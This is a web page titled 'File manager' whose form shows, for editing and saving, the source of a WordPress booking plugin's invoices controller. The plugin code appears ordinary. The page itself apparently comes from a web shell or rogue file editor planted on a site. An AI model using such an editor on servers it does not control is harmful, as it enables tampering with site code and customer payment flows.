File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php
/*
 * Copyright (c) 2024 LatePoint LLC. All rights reserved.
 */

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}


if ( ! class_exists( &#039;OsInvoicesController&#039; ) ) :


	class OsInvoicesController extends OsController {

		function __construct() {
			parent::__construct();

			$this-&gt;action_access[&#039;public&#039;] = array_merge( $this-&gt;action_access[&#039;public&#039;], [ &#039;view_by_key&#039;, &#039;payment_form&#039;, &#039;summary_before_payment&#039; ] );

			$this-&gt;views_folder = LATEPOINT_VIEWS_ABSPATH . &#039;invoices/&#039;;
		}


		public function new_form() {
			$order_id = absint( sanitize_text_field( $this-&gt;params[&#039;order_id&#039;] ) );

			if ( ! is_numeric( $order_id ) ) {
				echo __( &#039;Invalid Order ID&#039;, &#039;latepoint&#039; );

				return;
			}

			$order = new OsOrderModel( $order_id );
			if ( empty( $order ) || $order-&gt;is_new_record() ) {
				echo __( &#039;Invalid Order ID&#039;, &#039;latepoint&#039; );

				return;
			}

			$invoice                  = new OsInvoiceModel();
			$invoice-&gt;order_id        = $order-&gt;id;
			$invoice-&gt;payment_portion = LATEPOINT_PAYMENT_PORTION_CUSTOM;

			$this-&gt;vars[&#039;invoice&#039;] = $invoice;

			$this-&gt;format_render( __FUNCTION__ );
		}

		private function get_invoice_params() {
			$invoice_params                    = $this-&gt;params[&#039;invoice&#039;];

			// input date is in WP format (or in viewer&#039;s format), we need to make it &quot;end of the day&quot; and also convert to UTC timezone
			$due_at_wp_time = sanitize_text_field( $invoice_params[&#039;due_at&#039;] ).&#039; 23:59:59&#039;;
			$invoice_params[&#039;due_at&#039;] = OsWpDateTime::os_createFromFormat(LATEPOINT_DATETIME_DB_FORMAT, $due_at_wp_time)-&gt;setTimezone(new DateTimeZone(&#039;UTC&#039;))-&gt;format(LATEPOINT_DATETIME_DB_FORMAT);

			$invoice_params[&#039;order_id&#039;]        = absint( sanitize_text_field( $this-&gt;params[&#039;invoice&#039;][&#039;order_id&#039;] ) );
			$invoice_params[&#039;payment_portion&#039;] = sanitize_text_field( $this-&gt;params[&#039;invoice&#039;][&#039;payment_portion&#039;] );
			$invoice_params[&#039;charge_amount&#039;]   = OsParamsHelper::sanitize_param( sanitize_text_field( $this-&gt;params[&#039;invoice&#039;][&#039;charge_amount&#039;] ), &#039;money&#039; );

			$errors = [];
			if ( ! in_array( $invoice_params[&#039;payment_portion&#039;], array_keys( OsPaymentsHelper::get_payment_portions_list() ) ) ) {
				$errors[] = __( &#039;Invalid payment portion&#039;, &#039;latepoint&#039; );
			}
			if ( ! is_numeric( $invoice_params[&#039;order_id&#039;] ) ) {
				$errors[] = __( &#039;Invalid Order ID&#039;, &#039;latepoint&#039; );
			}
			if ( ! empty( $errors ) ) {
				return new WP_Error( &#039;invalid_params&#039;, implode( &#039;, &#039;, $errors ) );
			}

			return $invoice_params;
		}

		public function process_data_update() {

			if ( ! filter_var( $this-&gt;params[&#039;invoice_id&#039;], FILTER_VALIDATE_INT ) ) {
				echo &#039;Invalid invoice&#039;;

				return;
			}
			$invoice = new OsInvoiceModel( $this-&gt;params[&#039;invoice_id&#039;] );
			$old_invoice = clone $invoice;

			if ( empty( $invoice ) || $invoice-&gt;is_new_record() ) {
				echo &#039;Invalid invoice&#039;;

				return;
			}

			$invoice-&gt;charge_amount = OsParamsHelper::sanitize_param( sanitize_text_field( $this-&gt;params[&#039;invoice&#039;][&#039;charge_amount&#039;] ), &#039;money&#039; );
			$due_at_wp_time = sanitize_text_field( $this-&gt;params[&#039;invoice&#039;][&#039;due_at&#039;] ).&#039; 23:59:59&#039;;
			$due_at_utc_time = OsWpDateTime::os_createFromFormat(LATEPOINT_DATETIME_DB_FORMAT, $due_at_wp_time)-&gt;setTimezone(new DateTimeZone(&#039;UTC&#039;))-&gt;format(LATEPOINT_DATETIME_DB_FORMAT);
			$invoice-&gt;due_at        = $due_at_utc_time;
			$invoice-&gt;status        = sanitize_text_field( $this-&gt;params[&#039;invoice&#039;][&#039;status&#039;] );

			if ( $invoice-&gt;save() ) {

				/**
				 * Invoice was updated
				 *
				 * @param {OsInvoiceModel} $invoice instance of invoice model after it was updated
				 * @param {OsInvoiceModel} $old_invoice instance of invoice model before it was updated
				 *
				 * @since 5.1.0
				 * @hook latepoint_invoice_updated
				 *
				 */
				do_action( &#039;latepoint_invoice_updated&#039;, $invoice, $old_invoice );
				$status = LATEPOINT_STATUS_SUCCESS;
				ob_start();
				OsInvoicesHelper::invoice_document_html( $invoice, true );
				$message = ob_get_clean();

			} else {
				$status  = LATEPOINT_STATUS_ERROR;
				$message = $invoice-&gt;get_error_messages();
			}

			$this-&gt;send_json( [ &#039;status&#039; =&gt; $status, &#039;message&#039; =&gt; $message ] );
		}

		public function edit_data() {
			if ( ! filter_var( $this-&gt;params[&#039;invoice_id&#039;], FILTER_VALIDATE_INT ) ) {
				echo __( &#039;Invalid Invoice ID&#039;, &#039;latepoint&#039; );

				return;
			}
			$invoice = new OsInvoiceModel( $this-&gt;params[&#039;invoice_id&#039;] );
			if ( empty( $invoice ) || $invoice-&gt;is_new_record() ) {
				echo __( &#039;Invoice not found&#039;, &#039;latepoint&#039; );

				return;
			}

			$this-&gt;vars[&#039;invoice&#039;] = $invoice;

			$this-&gt;format_render( __FUNCTION__ );
		}

		public function reload_invoice_tile() {
			if ( ! filter_var( $this-&gt;params[&#039;invoice_id&#039;], FILTER_VALIDATE_INT ) ) {
				echo &#039;Invalid invoice&#039;;

				return;
			}
			$invoice = new OsInvoiceModel( $this-&gt;params[&#039;invoice_id&#039;] );
			if ( empty( $invoice ) || $invoice-&gt;is_new_record() ) {
				echo &#039;Invalid invoice&#039;;

				return;
			}

			$this-&gt;send_json( [ &#039;status&#039; =&gt; LATEPOINT_STATUS_SUCCESS, &#039;message&#039; =&gt; OsInvoicesHelper::generate_invoice_tile_on_order_edit_form( $invoice ) ] );
		}

		public function create() {
			$invoice_params = $this-&gt;get_invoice_params();
			if ( is_wp_error( $invoice_params ) ) {
				$this-&gt;send_json( [ &#039;status&#039; =&gt; LATEPOINT_STATUS_ERROR, &#039;message&#039; =&gt; $invoice_params-&gt;get_error_message() ] );

				return;
			}

			$order = new OsOrderModel( $invoice_params[&#039;order_id&#039;] );
			if ( empty( $order ) || $order-&gt;is_new_record() ) {
				echo __( &#039;Invalid Order ID&#039;, &#039;latepoint&#039; );

				return;
			}

			$invoice = new OsInvoiceModel();
			$invoice-&gt;set_data( $invoice_params );

			$invoice-&gt;data = json_encode( OsInvoicesHelper::generate_invoice_data_from_order( $order ) );
			if ( $invoice-&gt;save() ) {
				/**
				 * Invoice was created
				 *
				 * @param {OsInvoiceModel} $invoice instance of invoice model that was created
				 *
				 * @since 5.1.0
				 * @hook latepoint_invoice_created
				 *
				 */
				do_action( &#039;latepoint_invoice_created&#039;, $invoice );
				$response_html = OsInvoicesHelper::generate_invoice_tile_on_order_edit_form( $invoice );
				$this-&gt;send_json( [ &#039;status&#039; =&gt; LATEPOINT_STATUS_SUCCESS, &#039;message&#039; =&gt; $response_html ] );
			} else {
				$this-&gt;send_json( [ &#039;status&#039; =&gt; LATEPOINT_STATUS_ERROR, &#039;message&#039; =&gt; __( &#039;Error: &#039;, &#039;latepoint&#039; ) . $invoice-&gt;get_error_messages() ] );
			}

		}

		public function change_status() {
			if ( ! filter_var( $this-&gt;params[&#039;invoice_id&#039;], FILTER_VALIDATE_INT ) ) {
				echo &#039;Invalid Invoice&#039;;

				return;
			}

			if ( ! in_array( $this-&gt;params[&#039;status&#039;], array_keys( OsInvoicesHelper::list_of_statuses_for_select() ) ) ) {
				echo &#039;Invalid Status&#039;;

				return;
			}

			$invoice = new OsInvoiceModel( $this-&gt;params[&#039;invoice_id&#039;] );
			$invoice-&gt;change_status( $this-&gt;params[&#039;status&#039;] );

			$status = LATEPOINT_STATUS_SUCCESS;

			ob_start();
			OsInvoicesHelper::invoice_document_html( $invoice, true );
			$response_html = ob_get_clean();

			if ( $this-&gt;get_return_format() == &#039;json&#039; ) {

				$this-&gt;send_json( [ &#039;status&#039; =&gt; $status, &#039;message&#039; =&gt; $response_html ] );
			}
		}

		public function email_form() {
			if ( ! filter_var( $this-&gt;params[&#039;invoice_id&#039;], FILTER_VALIDATE_INT ) ) {
				echo __( &#039;Invalid Invoice ID&#039;, &#039;latepoint&#039; );

				return;
			}
			$invoice = new OsInvoiceModel( $this-&gt;params[&#039;invoice_id&#039;] );
			if ( empty( $invoice ) || $invoice-&gt;is_new_record() ) {
				echo __( &#039;Invoice not found&#039;, &#039;latepoint&#039; );

				return;
			}
			$errors = [];

			$to      = __( &#039;{{customer_email}}&#039;, &#039;latepoint&#039; );
			$subject = OsInvoicesHelper::get_subject_for_invoice_email();
			$content = OsInvoicesHelper::get_content_for_invoice_email();

			if ( ! empty( $this-&gt;params[&#039;invoice_email&#039;] ) ) {
				// send email
				$to       = $this-&gt;params[&#039;invoice_email[to]&#039;] ?? $to;
				$order    = new OsOrderModel( $invoice-&gt;order_id );
				$customer = new OsCustomerModel( $order-&gt;customer_id );

				$original_to = $to;
				$to          = OsReplacerHelper::replace_all_vars( $to, [ &#039;order&#039; =&gt; $order, &#039;customer&#039; =&gt; $customer, &#039;invoice&#039; =&gt; $invoice ] );
				$subject     = OsReplacerHelper::replace_all_vars( $subject, [ &#039;order&#039; =&gt; $order, &#039;customer&#039; =&gt; $customer, &#039;invoice&#039; =&gt; $invoice ] );
				$content     = OsReplacerHelper::replace_all_vars( $content, [ &#039;order&#039; =&gt; $order, &#039;customer&#039; =&gt; $customer, &#039;invoice&#039; =&gt; $invoice ] );
				if ( OsUtilHelper::is_valid_email( $to ) ) {
					$mailer = new OsMailer();
					wp_mail( $to, $subject, $content, $mailer-&gt;get_headers() );
					// set back so it appears correctly on the front
					$to                    = $original_to;
					$this-&gt;vars[&#039;success&#039;] = __( &#039;Invoice email sent&#039;, &#039;latepoint&#039; );
				} else {
					$errors[] = __( &#039;Please enter a valid email address.&#039;, &#039;latepoint&#039; );
				}

			}

			$this-&gt;vars[&#039;errors&#039;]  = $errors;
			$this-&gt;vars[&#039;to&#039;]      = $to;
			$this-&gt;vars[&#039;subject&#039;] = $subject;
			$this-&gt;vars[&#039;content&#039;] = $content;
			$this-&gt;vars[&#039;invoice&#039;] = $invoice;

			$this-&gt;format_render( __FUNCTION__ );
		}


		public function payment_form() {
			$invoice_access_key = sanitize_text_field( $this-&gt;params[&#039;key&#039;] );
			if ( empty( $invoice_access_key ) ) {
				echo __( &#039;Invalid Invoice Key&#039;, &#039;latepoint&#039; );
				exit;
			}

			$invoice = OsInvoicesHelper::get_invoice_by_key( $invoice_access_key );
			if ( $invoice-&gt;is_new_record() ) {
				echo __( &#039;Invoice not found&#039;, &#039;latepoint&#039; );
				exit;
			}

			$errors = [];
			$order  = $invoice-&gt;get_order();

			// find an existing transaction intent for this invoice

			$transaction_intent = new OsTransactionIntentModel();
			$transaction_intent = $transaction_intent-&gt;where( [ &#039;status&#039; =&gt; [
					LATEPOINT_TRANSACTION_INTENT_STATUS_NEW,
					LATEPOINT_TRANSACTION_INTENT_STATUS_PROCESSING,
					LATEPOINT_TRANSACTION_INTENT_STATUS_CONVERTED
				], &#039;invoice_id&#039; =&gt; $invoice-&gt;id ] )-&gt;set_limit( 1 )-&gt;get_results_as_models();
			if ( empty( $transaction_intent ) ) {
				$transaction_intent = new OsTransactionIntentModel();
			}

			$transaction_intent-&gt;charge_amount = $invoice-&gt;charge_amount;
			$transaction_intent-&gt;invoice_id    = $invoice-&gt;id;
			$transaction_intent-&gt;order_id      = $order-&gt;id;
			$transaction_intent-&gt;customer_id   = $order-&gt;customer_id;
			$transaction_intent-&gt;set_payment_data_value( &#039;time&#039;, LATEPOINT_PAYMENT_TIME_NOW, false );
			$transaction_intent-&gt;set_payment_data_value( &#039;portion&#039;, $invoice-&gt;payment_portion, false );

			$form_prev_button = esc_html__( &#039;Back&#039;, &#039;latepoint&#039; );
			$form_next_button = esc_html__( &#039;Next&#039;, &#039;latepoint&#039; );
			$invoice_link     = &#039;&#039;;
			$receipt_link     = &#039;&#039;;

			$selected_payment_method    = $this-&gt;params[&#039;payment_method&#039;] ?? &#039;&#039;;
			$selected_payment_processor = $this-&gt;params[&#039;payment_processor&#039;] ?? &#039;&#039;;
			$payment_token              = $this-&gt;params[&#039;payment_token&#039;] ?? &#039;&#039;;

			$enabled_payment_methods = OsPaymentsHelper::get_enabled_payment_methods_for_payment_time( LATEPOINT_PAYMENT_TIME_NOW );
			// if only one available, force select it
			if ( count( $enabled_payment_methods ) == 1 ) {
				$selected_payment_method = array_key_first( $enabled_payment_methods );
			}

			if ( $selected_payment_method ) {
				$enabled_payment_processors = OsPaymentsHelper::get_enabled_payment_processors_for_payment_time_and_method( LATEPOINT_PAYMENT_TIME_NOW, $selected_payment_method );
				if ( count( $enabled_payment_processors ) == 1 ) {
					$selected_payment_processor = array_key_first( $enabled_payment_processors );
				}
			}

			if ( ! $selected_payment_method ) {
				$current_step     = &#039;methods&#039;;
				$form_heading     = __( &#039;Payment Methods&#039;, &#039;latepoint&#039; );
				$form_prev_button = false;
				$form_next_button = false;
			} else {
				$transaction_intent-&gt;set_payment_data_value( &#039;method&#039;, $selected_payment_method, false );
				if ( ! $selected_payment_processor ) {
					$current_step = &#039;processors&#039;;
					$form_heading = __( &#039;Payment Processors&#039;, &#039;latepoint&#039; );

					// hide prev button if we don&#039;t need to pick a payment methods
					if ( count( $enabled_payment_methods ) &lt;= 1 ) {
						$form_prev_button = false;
					}
					$form_next_button = false;
				} else {
					$transaction_intent-&gt;set_payment_data_value( &#039;processor&#039;, $selected_payment_processor, false );
					$form_next_button = sprintf( esc_html__( &#039;Pay %s&#039;, &#039;latepoint&#039; ), OsMoneyHelper::format_price( $transaction_intent-&gt;charge_amount, true, false ) );
					$form_heading     = __( &#039;Payment Form&#039;, &#039;latepoint&#039; );
					// hide prev button if we don&#039;t need to pick a payment method or processor
					if ( count( $enabled_payment_methods ) &lt;= 1 &amp;&amp; count( $enabled_payment_processors ) &lt;= 1 ) {
						$form_prev_button = false;
					}
					if ( $payment_token ) {
						$transaction_intent-&gt;set_payment_data_value( &#039;token&#039;, $payment_token, false );
					}
					if ( ! $payment_token || empty( $this-&gt;params[&#039;submitting_payment&#039;] ) ) {
						$current_step = &#039;pay&#039;;
						$transaction_intent-&gt;calculate_specs_charge_amount();
						$transaction_intent-&gt;save();
					} else {
						$transaction_id = $transaction_intent-&gt;convert_to_transaction();
						if ( $transaction_id ) {
							$transaction               = new OsTransactionModel( $transaction_id );
							$form_next_button          = false;
							$form_prev_button          = false;
							$invoice_link              = apply_filters( &#039;latepoint_transaction_invoice_link&#039;, $invoice_link, $invoice );
							$receipt_link              = apply_filters( &#039;latepoint_transaction_receipt_link&#039;, $receipt_link, $invoice, $transaction );
							$current_step              = &#039;confirmation&#039;;
							$this-&gt;vars[&#039;transaction&#039;] = $transaction;
							$form_heading              = __( &#039;Confirmation&#039;, &#039;latepoint&#039; );
						} else {
							$current_step = &#039;pay&#039;;
							$errors[]     = implode( &#039;, &#039;, $transaction_intent-&gt;get_error_messages() );
						}
					}
				}
			}


			$this-&gt;vars[&#039;invoice&#039;]                    = $invoice;
			$this-&gt;vars[&#039;invoice_link&#039;]               = $invoice_link;
			$this-&gt;vars[&#039;receipt_link&#039;]               = $receipt_link;
			$this-&gt;vars[&#039;form_heading&#039;]               = $form_heading;
			$this-&gt;vars[&#039;payment_token&#039;]              = $payment_token;
			$this-&gt;vars[&#039;errors&#039;]                     = $errors;
			$this-&gt;vars[&#039;in_lightbox&#039;]                = $this-&gt;params[&#039;in_lightbox&#039;] ?? &#039;yes&#039;;
			$this-&gt;vars[&#039;transaction_intent&#039;]         = $transaction_intent;
			$this-&gt;vars[&#039;current_step&#039;]               = $current_step;
			$this-&gt;vars[&#039;selected_payment_method&#039;]    = $selected_payment_method;
			$this-&gt;vars[&#039;selected_payment_processor&#039;] = $selected_payment_processor;
			$this-&gt;vars[&#039;enabled_payment_methods&#039;]    = $enabled_payment_methods;

			$this-&gt;vars[&#039;form_next_button&#039;]   = $form_next_button;
			$this-&gt;vars[&#039;form_prev_button&#039;]   = $form_prev_button;
			$this-&gt;vars[&#039;invoice_access_key&#039;] = $invoice_access_key;


			$this-&gt;vars[&#039;order&#039;] = $order;

			$this-&gt;format_render( __FUNCTION__ );
		}

		public function summary_before_payment() {
			$invoice_access_key = sanitize_text_field( $this-&gt;params[&#039;key&#039;] );
			if ( empty( $invoice_access_key ) ) {
				echo __( &#039;Invalid Invoice Key&#039;, &#039;latepoint&#039; );
				exit;
			}

			$invoice = OsInvoicesHelper::get_invoice_by_key( $invoice_access_key );
			if ( $invoice-&gt;is_new_record() ) {
				echo __( &#039;Invoice not found&#039;, &#039;latepoint&#039; );
				exit;
			}

			$this-&gt;vars[&#039;invoice&#039;] = $invoice;
			$this-&gt;vars[&#039;order&#039;]   = $invoice-&gt;get_order();

			if ( $this-&gt;get_return_format() == &#039;json&#039; ) {
				$this-&gt;vars[&#039;in_lightbox&#039;] = true;
				$this-&gt;set_layout( &#039;none&#039; );
				$response_html = $this-&gt;format_render_return( __FUNCTION__ );
				$this-&gt;send_json( [ &#039;status&#039; =&gt; LATEPOINT_STATUS_SUCCESS, &#039;message&#039; =&gt; $response_html ] );
			} else {
				$this-&gt;vars[&#039;in_lightbox&#039;] = false;
				$this-&gt;set_layout( &#039;clean&#039; );
				$this-&gt;format_render( __FUNCTION__ );
			}
		}


		function view_by_key() {
			$invoice_access_key    = sanitize_text_field( $this-&gt;params[&#039;key&#039;] );
			$invoice               = new OsInvoiceModel();
			$invoice               = $invoice-&gt;where( [ &#039;access_key&#039; =&gt; $invoice_access_key ] )-&gt;set_limit( 1 )-&gt;get_results_as_models();
			$this-&gt;vars[&#039;invoice&#039;] = $invoice;

			$this-&gt;set_layout( &#039;clean&#039; );
			$this-&gt;format_render( __FUNCTION__ );
		}

		function view() {
			if ( ! filter_var( $this-&gt;params[&#039;id&#039;], FILTER_VALIDATE_INT ) ) {
				return;
			}

			$invoice = new OsInvoiceModel( $this-&gt;params[&#039;id&#039;] );

			$this-&gt;vars[&#039;invoice&#039;] = $invoice;

			$this-&gt;set_layout( &#039;none&#039; );
			$response_html = $this-&gt;format_render_return( __FUNCTION__ );

			$status = LATEPOINT_STATUS_SUCCESS;

			if ( $this-&gt;get_return_format() == &#039;json&#039; ) {

				$this-&gt;send_json( [ &#039;status&#039; =&gt; $status, &#039;message&#039; =&gt; $response_html ] );
			}
		}
	}

endif;
</textarea><input type='submit' name='save' value='Save' style=''/></form>